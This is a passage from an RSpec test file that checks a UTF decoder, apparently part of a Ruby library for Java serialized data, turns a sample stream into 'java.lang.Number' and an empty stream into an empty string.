utf.decode(sample_utf_io)
expect(utf.to_s).to eq('java.lang.Number')
end
it "prints an stream containing an empty utf" do
utf.decode(empty_utf_io)
expect(utf.to_s).to eq('')
end
end
end